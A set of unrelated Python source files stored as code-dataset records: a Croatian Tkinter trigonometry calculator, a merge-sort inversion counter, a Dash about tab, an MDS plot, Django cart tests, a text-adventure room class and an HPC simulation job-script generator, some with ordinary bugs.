min_unos.configure(state=\"disabled\")\r\n        sec_unos.configure(state=\"disabled\")\r\n\r\n    def f_cos():\r\n        \"\"\" () -> None\r\n\r\n        Izračunava kosinus zadanog koda\r\n        \"\"\"\r\n        global cos_print\r\n\r\n        try:\r\n            kut = float(kut_unos.get())\r\n        except:\r\n            kut=0\r\n        try:\r\n            min = float(min_unos.get())\r\n        except:\r\n            min=0\r\n        try:\r\n            sec = float(sec_unos.get())\r\n        except:\r\n            sec=0\r\n\r\n        broj = (((sec / 60) + min) / 60) + kut\r\n\r\n        if broj <= 0 or broj >= 90:\r\n            messagebox.showwarning(\"Upozorenje\", \"Unesi mjeru kuta između 0 i 90\")\r\n\r\n        else:\r\n\r\n            vr = math.cos(math.radians(broj))\r\n            vr = round(vr, 5)\r\n\r\n            cos_print = Label(main, bg=\"grey\", fg=\"black\", font=\"arial 14 normal\", text=vr)\r\n            cos_print.grid(row=3, column=1)\r\n\r\n        kut_unos.configure(state=\"disabled\")\r\n        min_unos.configure(state=\"disabled\")\r\n        sec_unos.configure(state=\"disabled\")\r\n\r\n    def f_tg():\r\n        \"\"\" () -> None\r\n\r\n        Izračunava tangens zadanog koda\r\n        \"\"\"\r\n        global tg_print\r\n\r\n        try:\r\n            kut = float(kut_unos.get())\r\n        except:\r\n            kut=0\r\n        try:\r\n            min = float(min_unos.get())\r\n        except:\r\n            min=0\r\n        try:\r\n            sec = float(sec_unos.get())\r\n        except:\r\n            sec=0\r\n\r\n        broj = (((sec / 60) + min) / 60) + kut\r\n\r\n        if broj <= 0 or broj >= 90:\r\n            messagebox.showwarning(\"Upozorenje\", \"Unesi mjeru kuta između 0 i 90\")\r\n\r\n        else:\r\n\r\n            vr = math.tan(math.radians(broj))\r\n            vr = round(vr, 5)\r\n\r\n            tg_print = Label(main, bg=\"grey\", fg=\"black\", font=\"arial 14 normal\", text=vr)\r\n            tg_print.grid(row=4, column=1)\r\n\r\n        kut_unos.configure(state=\"disabled\")\r\n        min_unos.configure(state=\"disabled\")\r\n        sec_unos.configure(state=\"disabled\")\r\n\r\n    def f_ctg():\r\n        \"\"\" () -> None\r\n\r\n        Izračunava kotangens zadanog koda\r\n        \"\"\"\r\n        global ctg_print\r\n\r\n        try:\r\n            kut = float(kut_unos.get())\r\n        except:\r\n            kut=0\r\n        try:\r\n            min = float(min_unos.get())\r\n        except:\r\n            min=0\r\n        try:\r\n            sec = float(sec_unos.get())\r\n        except:\r\n            sec=0\r\n\r\n        broj = (((sec / 60) + min) / 60) + kut\r\n\r\n        if broj <= 0 or broj >= 90:\r\n            messagebox.showwarning(\"Upozorenje\", \"Unesi mjeru kuta između 0 i 90\")\r\n\r\n        else:\r\n\r\n            vr = 1 / (math.tan(math.radians(broj)))\r\n            vr = round(vr, 5)\r\n\r\n            ctg_print = Label(main, bg=\"grey\", fg=\"black\", font=\"arial 14 normal\", text=vr)\r\n            ctg_print.grid(row=5, column=1)\r\n\r\n        kut_unos.configure(state=\"disabled\")\r\n        min_unos.configure(state=\"disabled\")\r\n        sec_unos.configure(state=\"disabled\")\r\n\r\n    def reset():\r\n        \"\"\" () -> None\r\n\r\n        Pritiskom na gumb unutar programa ponovno ga pokreće\r\n        \"\"\"\r\n        sin_print.destroy()\r\n        cos_print.destroy()\r\n        tg_print.destroy()\r\n        ctg_print.destroy()\r\n\r\n        kut_unos.configure(state=\"normal\")\r\n        min_unos.configure(state=\"normal\")\r\n        sec_unos.configure(state=\"normal\")\r\n\r\n\r\n    main = Tk()\r\n\r\n    main.title(\"Trigonometrija\")\r\n    main.configure(bg=\"grey\")\r\n\r\n    title = Label(main, bg=\"grey\", fg=\"black\", font=\"arial 18 bold\", text=\"Trigonometrija šiljastog kuta pravokutnog trokuta\")\r\n    title.grid(row=0, columnspan=5)\r\n\r\n    kut_text = Label(main, bg=\"grey\", fg=\"black\", font=\"arial 14 normal\", text=\"Unesi mjeru kuta:\")\r\n    kut_text.grid(row=1, column=0)\r\n\r\n    kut_unos = Entry(main)\r\n    kut_unos.grid(row=1, column=1)\r\n\r\n    min_unos = Entry(main)\r\n    min_unos.grid(row=1, column=2)\r\n\r\n    sec_unos = Entry(main)\r\n    sec_unos.grid(row=1, column=3)\r\n\r\n    sin = Button(main, text=\"Izračunaj sinus kuta\", command=f_sin)\r\n    sin.grid(row=2, column=0)\r\n\r\n    cos = Button(main, text=\"Izračunaj kosinus kuta\", command=f_cos)\r\n    cos.grid(row=3, column=0)\r\n\r\n    tg = Button(main, text=\"Izračunaj tangens kuta\", command=f_tg)\r\n    tg.grid(row=4, column=0)\r\n\r\n    ctg = Button(main, text=\"Izračunaj kotangens kuta\", command=f_ctg)\r\n    ctg.grid(row=5, column=0)\r\n\r\n    reset = Button(main, text=\"Ponovno pokretanje\", command=reset)\r\n    reset.grid(row=6, column=5, sticky=E)\r\n\r\n    main.mainloop()","sub_path":"trigonometrija.py","file_name":"trigonometrija.py","file_ext":"py","file_size_in_byte":5490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"626506161","text":"import math\ndef count_inversions(A, p, r):\n    if p < r:\n        q = math.floor((p + r) / 2)\n        left = count_inversions(A, p, q)\n        right = count_inversions(A, q + 1, r)\n        if left == None:\n            left = 0\n        if right == None:\n            right = 0\n        inversions = merge_inversions(A, p, q, r) + left + right\n        return inversions\n\ndef merge_inversions(A, p, q, r):\n    n1 = q - p + 1\n    n2 = r - q\n    L,R = [0]*(n1+1),[0]*(n2+1)\n    for i in range(0,n1):\n        L[i] = A[p + i]\n    for j in range(0,n2):\n        R[j] = A[q + j + 1]\n    L[n1] = math.inf\n    R[n2] = math.inf\n    i = 0\n    j = 0\n    inversions = 0\n    for k in range(p,r+1):\n        if L[i] <= R[j]:\n            A[k] = L[i]\n            i = i + 1\n        else:\n            inversions = inversions + n1 - i\n            A[k] = R[j]\n            j = j + 1\n    return inversions\n\na = [2,3,8,6,1]\nprint(count_inversions(a,0,len(a)-1))\n","sub_path":"2-Getting_Started/2-4-Count-Inversions.py","file_name":"2-4-Count-Inversions.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"115241862","text":"\"\"\"This an about tab\n\nworks as any other tab but contains text about the project, authors, etc.\n\"\"\"\n\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport dash_bootstrap_components as dbc\n\nfrom tools.factories import jumbotron_from_title_paragraphs\nfrom data.markdowns import CONTRIBUTORS_MARKDOWN_TEXT, PROJECT_DETAILS_MARKDOWN\n\n\nj_title = 'Project name'\nj_text = ['Quick project description text']\nabout_jumbotron = jumbotron_from_title_paragraphs(j_title, j_text)\n\nproject_card = dbc.Card([\n    dbc.CardHeader('Project details or something', className='lead'),\n    dbc.CardBody(dcc.Markdown(PROJECT_DETAILS_MARKDOWN))\n])\n\n\ncontributors_card = dbc.Card([\n    dbc.CardHeader('Contributors', className='lead'),\n    dbc.CardBody(dcc.Markdown(CONTRIBUTORS_MARKDOWN_TEXT))\n])\n\n\n# tab container, which is imported by tabindex\n# divided in rows with dbc.Row()\n# rows typically one or many cards, split by cols\n# self contained cards may be placed in a separate file and imported\nabout_tab_layout = dbc.Container([\n    dbc.Row([\n        dbc.Col([\n            about_jumbotron,\n        ])\n    ]),\n\n    dbc.Row([\n        dbc.Col([project_card], width=6),\n        dbc.Col([contributors_card], width=3),\n        #dbc.Col([], width=1)\n    ], justify='around'),\n], fluid=True, id='example-tab')\n\n","sub_path":"dashapp/about/abouttab.py","file_name":"abouttab.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"654447959","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Mar  2 21:22:30 2014\n\n@author: atproofer\n\"\"\"\n\n# Author: Nelle Varoquaux <nelle.varoquaux@gmail.com>\n# Licence: BSD\n#\n#print(__doc__)\nimport numpy as np\n\nfrom matplotlib import pyplot as plt\nfrom matplotlib.collections import LineCollection\n\nfrom sklearn import manifold\nfrom sklearn.metrics import euclidean_distances\nfrom sklearn.decomposition import PCA\n\ndef plot_MDS_other(diff_matrix,n):\n    X_true = diff_matrix\n    similarities = euclidean_distances(diff_matrix)\n    seed = 1\n    \n\n    mds = manifold.MDS(n_components=n, max_iter=3000, eps=1e-9, random_state=seed,\n                       dissimilarity=\"precomputed\", n_jobs=1)\n    pos = mds.fit(similarities).embedding_\n    \n#    nmds = manifold.MDS(n_components=2, metric=False, max_iter=3000, eps=1e-12,\n#                        dissimilarity=\"precomputed\", random_state=2, n_jobs=1,\n#                        n_init=1)\n#    npos = nmds.fit_transform(similarities, init=pos)\n    \n    # Rescale the data\n    pos *= np.sqrt((X_true ** 2).sum()) / np.sqrt((pos ** 2).sum())\n#    npos *= np.sqrt((X_true ** 2).sum()) / np.sqrt((npos ** 2).sum())\n    \n    # Rotate the data\n    clf = PCA(n_components=2)\n    X_true = clf.fit_transform(X_true)\n    \n    pos = clf.fit_transform(pos)\n#    \n#    npos = clf.fit_transform(npos)\n    \n    fig = plt.figure(1)\n    ax = plt.axes([0., 0., 1., 1.])\n    \n    plt.scatter(X_true[:, 0], X_true[:, 1], c='r', s=20)\n    plt.scatter(pos[:, 0], pos[:, 1], s=20, c='g')\n    plt.scatter(npos[:, 0], npos[:, 1], s=20, c='b')\n    plt.legend(('True position', 'MDS', 'NMDS'), loc='best')\n    \n    similarities = similarities.max() / similarities * 100\n    similarities[np.isinf(similarities)] = 0\n    \n    # Plot the edges\n    start_idx, end_idx = np.where(pos)\n    #a sequence of (*line0*, *line1*, *line2*), where::\n    #            linen = (x0, y0), (x1, y1), ... (xm, ym)\n    segments = [[X_true[i, :], X_true[j, :]]\n                for i in range(len(pos)) for j in range(len(pos))]\n    values = np.abs(similarities)\n    lc = LineCollection(segments,\n                        zorder=0, cmap=plt.cm.hot_r,\n                        norm=plt.Normalize(0, values.max()))\n    lc.set_array(similarities.flatten())\n    lc.set_linewidths(0.5 * np.ones(len(segments)))\n    ax.add_collection(lc)\n    \n    plt.show()","sub_path":"hw5/editedMDS.py","file_name":"editedMDS.py","file_ext":"py","file_size_in_byte":2330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"638871752","text":"# tuple_1 = ()\n# tuple_2 = (1,2,3,4,5)\n# tuple_3 = tuple(range(5,11))\n# tuple_4 = tuple('Python')\n# print(tuple_4[5])\n\ndict_1 = dict(one=1, two=2, three=3)\n# print(dict_1)\n\nb = {'one': 1, 'two': 2, 'three': 3}\n# print(b)\n\nd = dict([('two', 2), ('one', 1), ('three', 3)])\n# print(d)\n\ne = dict({'three': 3, 'one': 1, 'two': 2})\n# print(e)\n#\n# print(dict_1['one'])\n#\n# print(2 in d)\n# print('three' in d)\n\n# print(list(b.items()))\n#\n# # items = b.items()\n# # new_items = list(items)\n# # new_items.append(('four', 4))\n# # print(new_items)\n# # b = dict(new_items)\n# # print(b)\n# # b['five'] = 5\n# # print(b)\n# print(list(b.values()))\n# b.update( z = 3)\n# print(b)\nnumber_1 = 20\nnumber_2 = 40\ndef our_first_function(number):\n\n    return number/ 2\n\n\n\n\n\n\nresult = our_first_function(number_1)\nprint(result)\n\n\n","sub_path":"Python day3.py","file_name":"Python day3.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"282960498","text":"# Implement a class to hold room information. This should have name and\n# description attributes.\nclass Room:\n    def __init__(self, name, description, items=None, hidden=\"False\", locked=\"False\"):\n        self.name = name\n        self.description = description\n        if items is None:\n            self.contains = []\n        else:\n            self.contains = items\n        self.n_to = None\n        self.e_to = None\n        self.s_to = None\n        self.w_to = None   \n        self.hidden = hidden\n        self.locked = locked\n    # def __str__(self):\n    #     roomstr = f\"{self.name}\\n\\n\"\n    #     roomstr += f\"   {self.description}\\n\\n\"\n    #     roomstr += f\"Possible directions: {self.get_exits()}\\n\"\n    #     return roomstr\n\n    def get_items_str(self):\n        return ' - '.join([str(i) for i in self.contains])\n\n    # def get_exits(self):\n    #     hidden = []\n    #     exits = []\n    #     if self.n_to is not None:\n    #         if room[self.n_to].hidden == True:\n    #             hidden.append('N')\n    #         else:\n    #             exits.append('N')\n    #     if self.e_to is not None:\n    #         if room[self.e_to].hidden == True:\n    #             hidden.append('E')\n    #         else:\n    #             exits.append('E')\n    #     if self.s_to is not None:\n    #         if room[self.s_to].hidden == True:\n    #             hidden.append('S')\n    #         else:\n    #             exits.append('S')\n    #     if self.w_to is not None:\n    #         if room[self.w_to].hidden == True:\n    #             hidden.append('W')\n    #         else:\n    #             exits.append('W')\n    #     return \" | \".join(exits)\n\n    def get_room_in_direction(self, direction):\n        if direction == \"n\":\n            return self.n_to\n        elif direction == \"e\":\n            return self.e_to\n        elif direction == \"s\":\n            return self.s_to\n        elif direction == \"w\":\n            return self.w_to\n        else:\n            return None\n\n    def add_item(self, item):\n        self.contains = []\n        self.contains.append(item)","sub_path":"src/room.py","file_name":"room.py","file_ext":"py","file_size_in_byte":2056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"98215088","text":"import unittest\nimport decimal\n\nfrom auth.models import User\nfrom models import *\nfrom for_sale.models import Item\nfrom market.models import MarketPlace, MarketCategory, MarketSubCategory\nfrom shops.models import Shop\nfrom inventory.models import Product\nfrom preferences.models import TaxState, ShippingWeight, ShippingItem, ShippingPrice\n\nclass BuyItemTestCase(unittest.TestCase):\n    \n    def setUp(self):\n        self.user = User.objects.create_user(\"test\", \"t@t.com\", \"testpw\")\n        self.marketplace = MarketPlace(name=\"greatsomething\", title=\"Great Something\", slug=\"great-something\", \n                                       template_prefix=\"default\", base_domain=\"greatsomething.com\")\n        self.marketplace.save()\n        self.shop = Shop(marketplace=self.marketplace, admin=self.user, name=\"test shop\")\n        self.shop.save()\n        self.category = MarketCategory(marketplace=self.marketplace, name=\"Category1\")\n        self.category.save()\n        self.subcategory = MarketSubCategory(marketplace=self.marketplace, parent=self.category, name=\"SubCategory1\")\n        self.subcategory.save()\n        self.cart = Cart(shop=self.shop, bidder=self.user)\n        self.cart.save()\n        \n        \n    def tearDown(self):\n        self.user.delete()\n        self.marketplace.delete()\n        self.category.delete()\n        self.subcategory.delete()\n#        item.delete()\n    \n    def testCartMethods(self):\n        item = Item(shop=self.shop, \n                        title=\"item\",\n                        description=\"an item\", \n                        price=\"10.0\", \n                        category=self.category, \n                        subcategory=self.subcategory, \n                        qty=5, \n                        weight=\"2.0\")\n        item.save()\n        \n        \n        shippingdata = ShippingData(street_address=\"Calle 8 n 182\", city=\"La Plata\", state=\"Buenos Aires\", zip=\"1900\", country=\"AR\")\n        shippingdata.save()\n\n        self.cart.shippingdata = shippingdata\n                \n        qty = item.qty\n        #add an item to cart\n        qty_to_buy = 2\n        self.cart.add(item, item.price, qty=qty_to_buy)\n        \n        #check that qty item decrease in one unit\n        self.assertEqual(qty, item.qty + qty_to_buy)\n        \n        #check that item is in cart\n        cart_item = self.cart.cartitem_set.all()[0]\n        self.assertEqual(item, cart_item.product)\n        \n        #check cart methods\n        self.assertEqual(self.cart.total_items(), qty_to_buy)\n        self.assertEqual(self.cart.total_weight() , decimal.Decimal(\"4.0\"))\n        self.assertEqual(self.cart.total(), decimal.Decimal(\"20.0\"))\n        self.assertEqual(self.cart.total_with_taxes(), decimal.Decimal(\"20.0\"))\n        \n        #clean the cart\n        self.cart.clean()\n        \n        #recheck cart methods\n        self.assertEqual(self.cart.total_items(), 0)\n        self.assertEqual(self.cart.total_weight() , decimal.Decimal(\"0.0\"))\n        self.assertEqual(self.cart.total(), decimal.Decimal(\"0.0\"))\n        self.assertEqual(self.cart.total_with_taxes(), decimal.Decimal(\"0.0\"))\n        \n        \n    def testTaxCalculation(self):\n        item = Item(shop=self.shop, \n                title=\"item\",\n                description=\"an item\", \n                price=\"10.0\", \n                category=self.category, \n                subcategory=self.subcategory, \n                qty=5, \n                weight=\"2.0\")\n        item.save()\n        \n        #load some taxes \n        miami_tax = decimal.Decimal(\"2.5\")\n        tax_for_miami = TaxState(shop=self.shop, state=\"MI\", tax=miami_tax)\n        tax_for_miami.save()\n        \n        ny_tax = decimal.Decimal(\"1.5\")\n        tax_for_ny = TaxState(shop=self.shop, state=\"NY\", tax=ny_tax)\n        tax_for_ny.save()\n        \n        #add an item to the cart\n        self.cart.add(item, item.price, qty=1)\n        \n        #set the shipping address        \n        shippingdata = ShippingData(street_address=\"Abey Road\", city=\"Great Beach\", state=\"MI\", zip=\"11001\", country=\"US\")\n        shippingdata.save()\n        self.cart.shippingdata = shippingdata\n      \n        #check that tax is correctly calculated\n        self.assertEquals(self.cart.taxes(), miami_tax * decimal.Decimal(item.price) / decimal.Decimal(\"100.0\"))\n        self.assertNotEquals(self.cart.taxes(), ny_tax * decimal.Decimal(item.price) / decimal.Decimal(\"100.0\"))\n\n        #if shipping address is not MI or NY, no tax must be applied...\n        shippingdata = ShippingData(street_address=\"Abey Road\", city=\"Great Beach\", state=\"IO\", zip=\"11001\", country=\"US\")\n        shippingdata.save()\n        self.cart.shippingdata = shippingdata\n\n        self.assertEquals(self.cart.taxes(), decimal.Decimal(\"0.0\") )        \n        \n        \n    def testShippingCharge(self):\n        item = Item(shop=self.shop, \n                title=\"item\",\n                description=\"an item\", \n                price=\"10.0\", \n                category=self.category, \n                subcategory=self.subcategory, \n                qty=5, \n                weight=\"2.0\")\n        item.save()\n        #add an item to the cart\n        self.cart.add(item, item.price, qty=3)\n        \n        #set the shipping address        \n        shippingdata = ShippingData(street_address=\"Abey Road\", city=\"Great Beach\", state=\"MI\", zip=\"11001\", country=\"US\")\n        shippingdata.save()\n        self.cart.shippingdata = shippingdata\n        \n        sw1 = ShippingWeight(shop=self.shop, name=\"Shipping by Weight\", price=\"3.00\", from_weight=\"0.0\", to_weight=\"5.0\")\n        sw1.save()\n        sw2 = ShippingWeight(shop=self.shop, name=\"Shipping by Weight\", price=\"5.00\", from_weight=\"5.0\", to_weight=\"10.0\")\n        sw2.save()\n        self.assertEquals(self.cart.shipping_charge(), decimal.Decimal(\"5.0\"))\n        sw1.delete()\n        sw2.delete()\n        \n        si1 = ShippingItem(shop=self.shop, name=\"Shipping by Item\", price=\"9.00\", from_item=0, to_item=3)\n        si1.save()\n        si2 = ShippingItem(shop=self.shop, name=\"Shipping by Item\", price=\"19.00\", from_item=3, to_item=5)\n        si2.save()\n        si3 = ShippingItem(shop=self.shop, name=\"Shipping by Item\", price=\"29.00\", from_item=5, to_item=15)\n        si3.save()\n        \n        self.assertEquals(self.cart.shipping_charge(), decimal.Decimal(\"9.0\"))\n        si1.delete()\n        si2.delete()\n        si3.delete()\n        \n        pw1 = ShippingPrice(shop=self.shop, name=\"Shipping by Price\", price=\"5.00\", from_price=\"0.0\", to_price=\"20.0\")\n        pw1.save()\n        pw2 = ShippingPrice(shop=self.shop, name=\"Shipping by Price\", price=\"9.00\", from_price=\"20.0\", to_price=\"40.0\")\n        pw2.save()\n        self.assertEquals(self.cart.shipping_charge(), decimal.Decimal(\"9.0\"))\n        pw1.delete()\n        pw2.delete()\n        \n        \n    def testCartClose(self):\n        item = Item(shop=self.shop, \n                title=\"item\",\n                description=\"an item\", \n                price=\"10.0\", \n                category=self.category, \n                subcategory=self.subcategory, \n                qty=2, \n                weight=\"2.0\")\n        item.save()\n        \n        item2 = Item(shop=self.shop, \n                title=\"item\",\n                description=\"an item\", \n                price=\"10.0\", \n                category=self.category, \n                subcategory=self.subcategory, \n                qty=2, \n                weight=\"2.0\")\n        item2.save()\n        \n        shippingdata = ShippingData(street_address=\"Calle 8 n 182\", city=\"La Plata\", state=\"Buenos Aires\", zip=\"1900\", country=\"AR\")\n        shippingdata.save()\n        \n        #add the shipping data\n        self.cart.shippingdata = shippingdata\n        self.cart.save()\n        \n        #add 2 items\n        self.cart.add(item, item.price, qty=1)\n        self.cart.add(item2, item.price, qty=2)\n        \n        #close the cart\n        sell = self.cart.close(\"manual\")\n        \n        #check that the sell object has the default values setted... \n        self.assertEquals(self.cart.total_items(), 0)\n        self.assertEquals(sell.closed, False)\n        self.assertEquals(sell.sellitem_set.count(), 2)\n        self.assertEquals(sell.payment.state_actual.state, \"PE\")\n        self.assertEquals(sell.shipping.state_actual.state, \"PE\")\n        \n        ","sub_path":"stores/apps/sell/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":8312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"642922791","text":"import functools\nimport typing\nimport string\nimport random\nimport pytest\n\n## Lösung Teil 1.\ndef nwords(s: str)-> int:\n    \"\"\"\n    Die Funktion nwords berechenet zu einem String Argument s die Anzahl der Worte im String.\n    \n    args:\n        s(str): Text \n    return:\n        Anzahl an Wörter im Text\n       \n    \"\"\"\n    if len(s) == 0:\n        return 0\n    result = 1\n    for element in s:\n        if element == (\" \"):\n            result += 1\n    return result\n## Lösung Teil 2.\ndef word_count_iter(m):\n    \"\"\"\n    Die Funktion word_count_iter\n    args:\n        m: iterierbares Objekt\n    return:\n        Tupel aus der Anzahl der Zeilen, der Anzahl der Worte und der Anzahl der Zeichen liefert, die aus dem Argument gelesen worden sind\n    \"\"\"\n    zeilen = 0\n    worte = nwords(m)\n    zeicher = len(m)\n    for element in m:\n        yield element\n        zeilen += 1\n    \n    return (zeilen, worte, zeichen)\n        \n######################################################################\n## Lösung Teil 3. (Tests)\nassert word_count_iter(\"Hallo das ist ein test\") == (1,5,23)\n## revert\ntry:\n    word_count_iter = word_count_iter.__wrapped__\nexcept:\n    pass\n\n## Lösung Teil 4.\n\n######################################################################\n","sub_path":"StudentProblem/10.21.12.4/1/1569575864.py","file_name":"1569575864.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"465333283","text":"#!/usr/bin/python\n\n#  $ python3 parser_worklaod_stats.out <path_to_dir>\n#\n# Parses the statistic printed by the CODES synthetic workloads.\n# Reads all *.out files in the provided location\n# Updated  20200302\n\nimport os\nimport re\nimport sys\nimport stat\nimport csv\nimport glob\nfrom random import randint\nfrom pprint import pprint\n\n\n#if len(sys.argv) != 2:\n#\tprint(\"ERROR | Too many command line arguments.\")\n#\texit(1)\n\n\n# Read input: sys_size\n#sys_size = int(sys.argv[1])\n#num_allocs = int(sys.argv[2])\nbasedir = '/home/kabrown/case-studies/qos-swm/experiments'\nlevel = 'coarse'\nallocname = 'alloc1'\noutdir = basedir + '/' + allocname\nlpiopath = outdir + '/riodir'\n\nmpirun = \"mpirun --report-bindings --np 1 --mca btl '^openib' --rankfile \"\nmpireplay = '/home/kabrown/opt/codes-1.2qx-debug2-withswmfork-intel-isc/bin/model-net-mpi-replay '\n\n#codesargs = ' --synch=1 --workload_type=online --extramem=80000000 --priority_type=1 --payload_sz=65536 --mean_interval=2000 '\n#codesargs = ' --synch=1 --workload_type=online --extramem=50000000 --payload_sz=8192 --max_gen_data=17039360 --mean_interval=305 '\n#codesargs = ' --synch=1 --workload_type=online --extramem=50000000 --payload_sz=65536 --max_gen_data=13107200 --mean_interval=2000 '\n#codesargs = ' --synch=1 --workload_type=online --extramem=10000000 --payload_sz=640 --max_gen_data=6400000 --mean_interval=20 '\n\nif level == 'medium' or level == 'fine':\n    codesargs = ' --synch=1 --workload_type=online --extramem=50000000 --payload_sz=640 --priority_type=1 ' # for medium-grain QoS\nelse:\n    codesargs = ' --synch=1 --workload_type=online --extramem=50000000 --payload_sz=640 ' # for coarse-grain QoS. priority_type is 0 by default\n\ncodesargs = codesargs + '--lp-io-dir=' + lpiopath + ' --lp-io-use-suffix=1'\n\n\nrankfilepath = basedir + '/rankfiles'\nallocpath =  basedir + '/workloads' + '/' + allocname\nnetpath = basedir + '/conf_files'\nnetprefix = 'dfd1088_tapered_'\n\n\n\nrankfiles = glob.glob(os.path.normpath(rankfilepath + \"/rankfile07*\"))\n\nrankfiles.sort()\n#del(rankfiles[:12])\n#pprint(rankfiles)\ni = 0  # For the initial rankfile index\n\n\n\nworkloads = [\n#        {'name': 'rand1088', 'qosconf': ['noqos','qos4_1'], 'compute': [0]},\n#        {'name': 'spread', 'qosconf': ['noqos'], 'compute': [0]},\n        {'name': 'lammps', 'qosconf': ['noqos'], 'compute': [0]},\n#        {'name': 'milc', 'qosconf': ['noqos'], 'compute': [0]},\n#        {'name': 'many_to_many', 'qosconf': ['noqos'], 'compute': [0]}\n        ]\n\n\nfor wk in workloads:\n    name = wk['name']\n    \n    jobcommand = ''\n\n    for qos in wk['qosconf']:\n        netfile = netpath + '/' + netprefix + qos + '.conf'\n\n        for comp in wk['compute']:\n            jobtag = name \\\n                    + '.' + allocname \\\n                    + '.dc' + str(comp) \\\n                    + '.' + qos \\\n                    + '.' + level\n\n            outfile = outdir + '/' + 'out.' + jobtag\n            jobfile = os.path.normpath(outdir + '/' + str(i).zfill(3) + '.' + jobtag + '.sh')\n\n            periodfile = allocpath + '/' + name + '.period'\n            loadfile = allocpath + '/' + name + '.load'\n            appalloc = allocpath + '/' + name + '.alloc'\n\n            jobcommand = mpirun + rankfiles[i] \\\n                    + ' ' + mpireplay \\\n                    + ' ' + codesargs \\\n                    + ' --workload_conf_file=' + loadfile \\\n                    + ' --alloc_file=' + appalloc \\\n                    + ' --disable_compute=' + str(comp) \\\n                    + ' -- ' + netfile \\\n                    + ' &>> ' + str(outfile)\n\n            # Copy settings\n\n\n            #pprint(rankfiles[i])\n            #print(outfile)\n            #print(str(i) + \"------\" + command)\n            with open(jobfile, 'w') as f:\n                f.write(jobcommand) \n\n            st = os.stat(jobfile)\n            os.chmod(jobfile, st.st_mode | stat.S_IEXEC)\n\n            print(jobfile)\n\n            i = i + 1\n            if i == len(rankfiles):\n                i = 0\n\n\n \nprint(\"Completed.\")\n\n''' \n\nmpirun --report-bindings --np 1 --rankfile /home/kabrown/fs0-ipdps2021/experiments/rankfiles/rankfile0.11 --mca btl '^openib' \\\n\t/home/kabrown/opt/codes-1.2qx-debug2-withswm-intel/bin/model-net-mpi-replay --synch=1 \\\n\t--workload_type=online --extramem=10000000 --disable_compute=1 --debug_cols=1 --priority_type=1 \\\n\t--workload_conf_file=/home/kabrown/fs0-ipdps2021/experiments/workloads/lammps.load \\\n\t--alloc_file=/home/kabrown/fs0-ipdps2021/experiments/workloads/job.lammps.alloc \\\n\t--lp-io-dir=/home/kabrown/fs0-ipdps2021/experiments/lpio/lpio_output --lp-io-use-suffix=1 \\\n\t-- /home/kabrown/fs0-ipdps2021/experiments/conf_files/dfd8k_noqos.conf \\\n\t&>> out.lammps.nocompute\n\n'''\n'''\nprint(\"System size: \", sys_size)\n\nalloc_written = 0\nall_allocs = []\nmarked_nodes = []\nfilename = \"rand\" + str(sys_size)\n#filename += \"_\".join(map(str, alloc_size))\nallocfile = open(filename + '.alloc', 'w')\nloadfile = open(filename + '.load', 'w')\n\ndef new_alloc(size, name, qos):\n    global marked_nodes\n\n    alloc = []\n    for j in range(size):\n        k = randint(0, sys_size-1)\n\n        while( k in marked_nodes):\n            k = randint(0, sys_size-1)\n        \n        alloc.append(k)\n        marked_nodes.append(k)\n\n    alloc.sort()\n\n    # Write to global file\n    global alloc_written\n    if(alloc_written != 0):\n        allocfile.write(\"\\n\")\n        loadfile.write(\"\\n\")\n\n    allocfile.write(' '.join(map(str, alloc)))\n    loadfile.write(str(size) + ' ' + name + ' ' + str(qos))\n\n    alloc_written = alloc_written + 1\n\n    #print(\"Allocated: \", size)\n\n    # return \n    return alloc\n\ndef write_my_file(size, name, qos, alloc, rep):\n    flag = ''\n    jump = ''\n    if rep == 0:\n        flag = 'w'\n    else:\n        flag = 'a'\n        jump = '\\n'\n\n    with open(name + \".alloc\", flag) as f:\n        f.write(jump + ' '.join(map(str, alloc)))\n    with open(name+ \".load\", flag) as f:\n        f.write(jump + str(size) + ' ' + name + ' ' + str(qos))\n\n\nworkloads = [\n        {'name': 'lammps', \n            'size': 2048,\n            'reps': 1,\n            'qos':  1},\n        {'name': 'nekbone', \n            'size': 2197,\n            'reps': 1,\n            'qos':  1},\n        {'name': 'incast', # scavenger\n            'size': 512,\n            'reps': 1,\n            'qos':  3},\n        {'name': 'lammps', \n            'size': 2048,\n            'reps': 1,\n            'qos':  1},\n        {'name': 'incast1', # I/O\n            'size': 2,\n            'reps': 128,\n            'qos':  2}\n        ]\n\n\nfor wk in workloads:\n    for i in range(wk['reps']):\n        alloc = new_alloc(wk['size'], wk['name'], wk['qos'])\n        write_my_file(wk['size'], wk['name'], wk['qos'], alloc, i)\n\n\n\n#lammps 1\nqos = 1\nsize = 5\nname = \"lammps\"\nalloc = new_alloc(size, name, qos)\nwrite_my_file(name, size, alloc, qos)\n\n\n#lammps 2\nqos = 1\nsize = 5\nname = \"lammps\"\nalloc = new_alloc(size, name, qos)\nwrite_my_file(name, size, alloc, qos)\n\n\n#neckbone\nqos = 1\nsize = 5\nname = \"nekbone\"\nalloc = new_alloc(size, name)\nwrite_my_file(name, size, alloc)\n\n#incast (scavenger)\nqos = 3\nsize = 3\nname = \"incast\"\nalloc = new_alloc(size, name)\nwrite_my_file(name, size, alloc)\n\n#incast2 (bulk data)\nrep = 2\nqos = 2\nname = \"incast2\"\nwith open(name + \".alloc\", 'w') as f:\n    with open(name + \".load\", 'w') as g:\n        count = 0\n        for i in range(3):\n            size = 2\n            alloc = new_alloc(size, name)\n\n            if(count != 0):\n                f.write(\"\\n\")\n                g.write(\"\\n\")\n\n            f.write(' '.join(map(str, alloc)))\n            